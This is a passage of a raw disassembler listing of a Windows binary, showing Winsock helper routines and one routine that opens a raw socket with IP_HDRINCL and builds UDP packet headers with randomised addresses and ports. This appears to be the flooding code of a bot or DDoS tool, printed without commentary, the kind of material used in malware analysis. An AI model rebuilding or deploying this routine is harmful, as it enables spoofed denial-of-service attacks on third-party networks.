		push	esi
		call	sub_4114CA	; free
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40392A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40396E	proc near		; CODE XREF: sub_40EE23+149p
					; sub_40F9C9+32p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, 200h
		ja	short loc_40398A
		push	1010h
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		jnz	short loc_40398E

loc_40398A:				; CODE XREF: sub_40396E+Bj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40398E:				; CODE XREF: sub_40396E+1Aj
		and	dword ptr [eax+4], 0
		mov	[eax], esi
		pop	esi
		retn
sub_40396E	endp


; =============== S U B	R O U T	I N E =======================================



sub_403996	proc near		; CODE XREF: sub_40EE23+32Cp
					; sub_40F9C9+FBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [eax+4]
		cmp	ecx, [eax]
		jnz	short loc_4039AE
		push	[esp+arg_0]
		call	sub_403D92
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4039AE:				; CODE XREF: sub_403996+9j
		mov	edx, [esp+arg_0]
		mov	[eax+ecx*4+0Ch], edx
		inc	dword ptr [eax+4]
		mov	ecx, [eax+4]
		xor	edx, edx
		cmp	ecx, [eax]
		setnz	dl
		mov	eax, edx
		retn
sub_403996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4039C6	proc near		; CODE XREF: sub_40EE23+3D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		push	edi
		mov	edx, [esi+4]
		test	edx, edx
		jbe	short loc_403A18
		lea	ecx, [esi+0Ch]

loc_4039D8:				; CODE XREF: sub_4039C6+20j
		mov	edi, [ecx]
		cmp	edi, [esp+8+arg_0]
		jz	short loc_4039EA
		inc	eax
		add	ecx, 4
		cmp	eax, edx
		jb	short loc_4039D8
		jmp	short loc_403A18
; ---------------------------------------------------------------------------

loc_4039EA:				; CODE XREF: sub_4039C6+18j
		mov	ecx, [esi+8]
		cmp	eax, ecx
		jb	short loc_4039F5
		dec	ecx
		mov	[esi+8], ecx

loc_4039F5:				; CODE XREF: sub_4039C6+29j
		mov	ecx, eax
		imul	ecx, 3FFFFFFFh
		add	ecx, edx
		shl	ecx, 2
		push	ecx
		lea	ecx, [esi+eax*4+10h]
		lea	eax, [esi+eax*4+0Ch]
		push	ecx
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		dec	dword ptr [esi+4]

loc_403A18:				; CODE XREF: sub_4039C6+Dj
					; sub_4039C6+22j
		pop	edi
		pop	esi
		retn
sub_4039C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A1B	proc near		; CODE XREF: sub_40EE23+361p
					; sub_40F9C9+11Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	[eax+4], ebx
		lea	ecx, [eax+80Ch]
		mov	[eax+8], ebx
		mov	[ebp+var_4], ebx
		mov	[ecx], ebx
		jbe	short loc_403A8A
		push	esi
		push	edi
		lea	esi, [eax+0Ch]

loc_403A3E:				; CODE XREF: sub_403A1B+6Bj
		mov	edi, [ecx]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jbe	short loc_403A60
		lea	edx, [eax+810h]

loc_403A4D:				; CODE XREF: sub_403A1B+41j
		mov	ebx, [esi]
		cmp	[edx], ebx
		jz	short loc_403A5E
		inc	[ebp+arg_0]
		add	edx, 4
		cmp	[ebp+arg_0], edi
		jb	short loc_403A4D

loc_403A5E:				; CODE XREF: sub_403A1B+36j
		xor	ebx, ebx

loc_403A60:				; CODE XREF: sub_403A1B+2Aj
		mov	edx, [ebp+arg_0]
		cmp	edx, edi
		jnz	short loc_403A7A
		cmp	edi, 200h
		jnb	short loc_403A7A
		mov	edi, [esi]
		mov	[eax+edx*4+810h], edi
		inc	dword ptr [ecx]

loc_403A7A:				; CODE XREF: sub_403A1B+4Aj
					; sub_403A1B+52j
		inc	[ebp+var_4]
		mov	edx, [ebp+var_4]
		add	esi, 4
		cmp	edx, [eax+4]
		jb	short loc_403A3E
		pop	edi
		pop	esi

loc_403A8A:				; CODE XREF: sub_403A1B+1Cj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], ebx
		push	eax
		push	ebx
		push	ecx
		push	ebx
		push	ebx
		mov	[ebp+var_4], 3E8h
		call	dword_412214	; select
		cmp	eax, ebx
		jz	short loc_403AB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AB0
		push	1
		pop	eax
		jmp	short loc_403AB2
; ---------------------------------------------------------------------------

loc_403AB0:				; CODE XREF: sub_403A1B+89j
					; sub_403A1B+8Ej
		xor	eax, eax

loc_403AB2:				; CODE XREF: sub_403A1B+93j
		pop	ebx
		leave
		retn
sub_403A1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403AB5	proc near		; CODE XREF: sub_40EE23+372p
					; sub_40F9C9+133p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esi+8]
		cmp	edi, [esi+4]
		jnb	short loc_403AE4
		lea	ebp, [esi+80Ch]
		lea	ebx, [esi+edi*4+0Ch]

loc_403ACF:				; CODE XREF: sub_403AB5+2Dj
		push	ebp
		push	dword ptr [ebx]
		call	sub_4117E8	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_403AEB
		inc	edi
		add	ebx, 4
		cmp	edi, [esi+4]
		jb	short loc_403ACF

loc_403AE4:				; CODE XREF: sub_403AB5+Ej
		xor	eax, eax

loc_403AE6:				; CODE XREF: sub_403AB5+40j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_403AEB:				; CODE XREF: sub_403AB5+24j
		lea	eax, [edi+1]
		mov	[esi+8], eax
		mov	eax, [esi+edi*4+0Ch]
		jmp	short loc_403AE6
sub_403AB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_403AF7	proc near		; CODE XREF: sub_403B2F+4p
					; sub_40EE23+435p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebp, ebp
		xor	ebx, ebx
		cmp	[esi+4], ebp
		jbe	short loc_403B1F
		push	edi
		lea	edi, [esi+0Ch]

loc_403B0B:				; CODE XREF: sub_403AF7+25j
		push	dword ptr [edi]
		call	sub_403D92
		mov	[edi], ebp
		inc	ebx
		add	edi, 4
		cmp	ebx, [esi+4]
		pop	ecx
		jb	short loc_403B0B
		pop	edi

loc_403B1F:				; CODE XREF: sub_403AF7+Ej
		mov	[esi+4], ebp
		mov	[esi+8], ebp
		mov	[esi+80Ch], ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_403AF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B2F	proc near		; CODE XREF: sub_40EE23+483p
					; sub_40F9C9+1C2p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_403AF7
		push	[esp+4+arg_0]
		call	sub_4114CA	; free
		pop	ecx
		pop	ecx
		retn
sub_403B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B44	proc near		; CODE XREF: sub_40E829+15p
					; sub_40EE23+323p ...

var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	20h
		lea	eax, [ebp+var_24]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		test	[ebp+arg_8], 2
		jz	short loc_403B69
		mov	[ebp+var_20], 17h
		jmp	short loc_403B75
; ---------------------------------------------------------------------------

loc_403B69:				; CODE XREF: sub_403B44+1Aj
		movsx	eax, [ebp+arg_8]
		and	eax, 1
		shl	eax, 1
		mov	[ebp+var_20], eax

loc_403B75:				; CODE XREF: sub_403B44+23j
		test	[ebp+arg_8], 4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_419224
		test	eax, eax
		jz	short loc_403B9F
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_403B9F:				; CODE XREF: sub_403B44+55j
		push	esi
		mov	esi, [ebp+var_4]
		push	edi

loc_403BA4:				; CODE XREF: sub_403B44+ADj
		test	esi, esi
		jz	short loc_403BF3
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	dword_41222C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_403BEE
		push	0
		push	edi
		call	sub_40344B
		pop	ecx
		pop	ecx
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		push	edi
		call	dword_412208	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403BE7
		call	dword_412238	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_403BF5

loc_403BE7:				; CODE XREF: sub_403B44+94j
		push	edi
		call	sub_403D92
		pop	ecx

loc_403BEE:				; CODE XREF: sub_403B44+78j
		mov	esi, [esi+1Ch]
		jmp	short loc_403BA4
; ---------------------------------------------------------------------------

loc_403BF3:				; CODE XREF: sub_403B44+62j
		xor	edi, edi

loc_403BF5:				; CODE XREF: sub_403B44+A1j
		push	[ebp+var_4]
		call	dword_41922C
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_403B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C04	proc near		; CODE XREF: sub_401985+73p
					; sub_402018+1Ap ...

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 82Ch
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	ecx, 3E8h
		push	esi
		cdq
		mov	esi, ecx
		xor	ebx, ebx
		idiv	esi
		push	20h
		push	ebx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		cdq
		idiv	ecx
		lea	eax, [ebp+var_28]
		push	eax
		imul	edx, 3E8h
		mov	[ebp+var_4], edx
		call	sub_4114E8	; memset
		add	esp, 0Ch
		test	[ebp+arg_8], 2
		jz	short loc_403C4E
		mov	[ebp+var_24], 17h
		jmp	short loc_403C5A
; ---------------------------------------------------------------------------

loc_403C4E:				; CODE XREF: sub_403C04+3Fj
		movsx	eax, [ebp+arg_8]
		and	eax, 1
		shl	eax, 1
		mov	[ebp+var_24], eax

loc_403C5A:				; CODE XREF: sub_403C04+48j
		test	[ebp+arg_8], 4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_419224
		test	eax, eax
		jz	short loc_403C87
		xor	eax, eax
		jmp	loc_403D6C
; ---------------------------------------------------------------------------

loc_403C87:				; CODE XREF: sub_403C04+7Aj
		mov	esi, [ebp+arg_C]
		push	edi

loc_403C8B:				; CODE XREF: sub_403C04+149j
		cmp	esi, ebx
		jz	loc_403D5E
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	dword_41222C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_403D4A
		push	ebx
		push	edi
		call	sub_40344B
		pop	ecx
		pop	ecx
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		push	edi
		call	dword_412208	; connect
		test	eax, eax
		jz	short loc_403CD4
		call	dword_412238	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_403D4A

loc_403CD4:				; CODE XREF: sub_403C04+C1j
		lea	eax, [ebp+var_8]
		mov	[ebp+var_828], edi
		push	eax
		lea	eax, [ebp+var_82C]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_82C], 1
		call	dword_412214	; select
		cmp	eax, 1
		jz	short loc_403D52
		mov	edx, [ebp+var_82C]
		xor	ecx, ecx
		cmp	edx, ebx
		jbe	short loc_403D43
		lea	eax, [ebp+var_828]

loc_403D0F:				; CODE XREF: sub_403C04+115j
		cmp	[eax], edi
		jz	short loc_403D1D
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_403D0F
		jmp	short loc_403D43
; ---------------------------------------------------------------------------

loc_403D1D:				; CODE XREF: sub_403C04+10Dj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_403D3D
		lea	eax, [ebp+ecx*4+var_828]

loc_403D29:				; CODE XREF: sub_403C04+137j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_82C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_403D29

loc_403D3D:				; CODE XREF: sub_403C04+11Cj
		dec	[ebp+var_82C]

loc_403D43:				; CODE XREF: sub_403C04+103j
					; sub_403C04+117j
		push	edi
		call	sub_403D92
		pop	ecx

loc_403D4A:				; CODE XREF: sub_403C04+A3j
					; sub_403C04+CEj
		mov	esi, [esi+1Ch]
		jmp	loc_403C8B
; ---------------------------------------------------------------------------

loc_403D52:				; CODE XREF: sub_403C04+F7j
		push	1
		push	edi
		call	sub_40344B
		pop	ecx
		pop	ecx
		jmp	short loc_403D60
; ---------------------------------------------------------------------------

loc_403D5E:				; CODE XREF: sub_403C04+89j
		xor	edi, edi

loc_403D60:				; CODE XREF: sub_403C04+158j
		push	[ebp+arg_C]
		call	dword_41922C
		mov	eax, edi
		pop	edi

loc_403D6C:				; CODE XREF: sub_403C04+7Ej
		pop	esi
		pop	ebx
		leave
		retn
sub_403C04	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D70	proc near		; CODE XREF: sub_401985+1E0p
					; sub_401B81+2E1p ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	dword_412210	; shutdown
		push	3E8h
		call	dword_4120A4	; Sleep
		push	[esp+arg_0]
		call	sub_403D92
		pop	ecx
		retn
sub_403D70	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D92	proc near		; CODE XREF: sub_4032D2+55p
					; sub_403366+15p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_412240	; closesocket
		retn
sub_403D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D9D	proc near		; CODE XREF: sub_401985+110p
					; sub_401B81+207p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	dword_412220	; send
		retn
sub_403D9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DB2	proc near		; CODE XREF: sub_402EFD+B5p
					; sub_403DF6+1Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		cmp	esi, 2
		push	edi
		jb	short loc_403DDF
		mov	edi, [esp+8+arg_4]
		lea	eax, [esi-1]
		push	0
		push	eax
		push	edi
		push	[esp+14h+arg_0]
		call	dword_412258	; recv
		test	eax, eax
		jz	short loc_403DF3
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403DF3
		cmp	eax, esi
		jb	short loc_403DEF

loc_403DDF:				; CODE XREF: sub_403DB2+9j
		push	271Eh
		call	dword_412244	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short loc_403DF3
; ---------------------------------------------------------------------------

loc_403DEF:				; CODE XREF: sub_403DB2+2Bj
		and	byte ptr [eax+edi], 0

loc_403DF3:				; CODE XREF: sub_403DB2+22j
					; sub_403DB2+27j ...
		pop	edi
		pop	esi
		retn
sub_403DB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_402018+70p
					; sub_402018+195p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_403E1F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E0C
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_403E0C:				; CODE XREF: sub_403DF6+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403DB2
		add	esp, 0Ch
		pop	ebp
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E1F	proc near		; CODE XREF: sub_403DF6+9p
					; sub_40B6BE+19p ...

var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1010h
		call	sub_411540
		mov	eax, [ebp+arg_4]
		mov	ecx, 3E8h
		push	ebx
		xor	edx, edx
		mov	ebx, ecx
		push	esi
		div	ebx
		xor	edx, edx
		push	edi
		push	1
		mov	edi, [ebp+arg_0]
		pop	esi
		mov	[ebp+var_808], edi
		mov	[ebp+var_80C], esi
		mov	[ebp+var_100C],	edi
		mov	[ebp+var_1010],	esi
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		div	ecx
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_80C]
		push	0
		push	eax
		push	esi
		imul	edx, 3E8h
		mov	[ebp+var_4], edx
		call	dword_412214	; select
		cmp	eax, esi
		jz	short loc_403E91
		xor	eax, eax
		jmp	short loc_403EA4
; ---------------------------------------------------------------------------

loc_403E91:				; CODE XREF: sub_403E1F+6Cj
		lea	eax, [ebp+var_80C]
		push	eax
		push	edi
		call	sub_4117E8	; __WSAFDIsSet
		neg	eax
		sbb	eax, eax
		neg	eax

loc_403EA4:				; CODE XREF: sub_403E1F+70j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EA9	proc near		; DATA XREF: sub_4044AA+BCo

var_1338	= byte ptr -1338h
var_1336	= word ptr -1336h
var_1334	= word ptr -1334h
var_1330	= byte ptr -1330h
var_132F	= byte ptr -132Fh
var_132E	= word ptr -132Eh
var_132C	= dword	ptr -132Ch
var_1328	= dword	ptr -1328h
var_1324	= word ptr -1324h
var_1322	= word ptr -1322h
var_1320	= word ptr -1320h
var_131C	= byte ptr -131Ch
var_2D8		= dword	ptr -2D8h
var_131		= byte ptr -131h
var_31		= byte ptr -31h
var_2B		= dword	ptr -2Bh
var_27		= dword	ptr -27h
var_23		= dword	ptr -23h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		mov	esi, 0FFh
		push	esi
		push	3
		push	2
		call	dword_41222C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403F78
		push	1
		lea	ecx, [ebp+var_1C]
		pop	edi
		xor	ebx, ebx
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_1C], edi
		call	dword_412218	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403F78
		push	ebx
		push	[ebp+var_4]
		call	sub_40344B
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		lea	eax, [ebp+var_31]
		mov	[ebp+var_18], 2
		push	eax
		call	sub_41151C	; atoi
		add	esp, 18h
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_131]
		push	eax
		call	dword_412254	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_14], eax
		jnz	short loc_403F88
		lea	eax, [ebp+var_131]
		push	eax
		call	dword_41224C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_403F78
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_14], eax
		jnz	short loc_403F88

loc_403F78:				; CODE XREF: sub_403EA9+45j
					; sub_403EA9+66j ...
		push	[ebp+var_2D8]
		call	sub_406E6F
		jmp	loc_40448B
; ---------------------------------------------------------------------------

loc_403F88:				; CODE XREF: sub_403EA9+ADj
					; sub_403EA9+CDj
		push	1060h
		lea	eax, [ebp+var_1338]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		mov	al, [ebp+var_1338]
		add	esp, 0Ch
		and	al, 0F5h
		mov	[ebp+var_132F],	11h
		or	al, 5
		mov	[ebp+var_8], ebx
		and	al, 0Fh
		or	al, 40h
		cmp	[ebp+var_2B], ebx
		mov	[ebp+var_1338],	al
		mov	eax, [ebp+var_14]
		mov	[ebp+var_1328],	eax
		mov	ax, [ebp+var_16]
		mov	[ebp+var_1322],	ax
		jle	loc_404477
		mov	ebx, 0FFFFh

loc_403FDD:				; CODE XREF: sub_403EA9+5C8j
		mov	eax, [ebp+var_23]
		dec	eax
		jz	loc_40424E
		dec	eax
		jz	loc_404176
		dec	eax
		jnz	short loc_404000
		push	2
		push	0
		call	sub_40B459
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404026

loc_404000:				; CODE XREF: sub_403EA9+146j
		push	ebx
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU_0	; "%u"
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 0Ch
		jmp	loc_404354
; ---------------------------------------------------------------------------

loc_404026:				; CODE XREF: sub_403EA9+155j
		cmp	eax, edi
		push	ebx
		push	edi
		jnz	loc_4040D7
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU	; "%u\r\n"
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h

loc_40405B:				; CODE XREF: sub_403EA9+22Cj
		cmp	eax, 7D0h
		push	ebx
		push	edi
		jnb	loc_4042F3
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 20h
		jmp	short loc_40405B
; ---------------------------------------------------------------------------

loc_4040D7:				; CODE XREF: sub_403EA9+181j
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU	; "%u\r\n"
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h

loc_404102:				; CODE XREF: sub_403EA9+2CBj
		cmp	eax, 7D0h
		push	edi
		push	0
		jnb	loc_404213
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_131C]
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 20h
		jmp	short loc_404102
; ---------------------------------------------------------------------------

loc_404176:				; CODE XREF: sub_403EA9+13Fj
		push	ebx
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU	; "%u\r\n"
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h

loc_4041A3:				; CODE XREF: sub_403EA9+368j
		cmp	eax, 7D0h
		push	edi
		push	0
		jnb	short loc_404213
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_131C]
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 20h
		jmp	short loc_4041A3
; ---------------------------------------------------------------------------

loc_404213:				; CODE XREF: sub_403EA9+261j
					; sub_403EA9+302j
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		jmp	loc_404332
; ---------------------------------------------------------------------------

loc_40424E:				; CODE XREF: sub_403EA9+138j
		push	ebx
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU	; "%u\r\n"
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h

loc_40427B:				; CODE XREF: sub_403EA9+448j
		cmp	eax, 7D0h
		push	ebx
		push	edi
		jnb	short loc_4042F3
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 20h
		jmp	short loc_40427B
; ---------------------------------------------------------------------------

loc_4042F3:				; CODE XREF: sub_403EA9+1B9j
					; sub_403EA9+3D9j
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
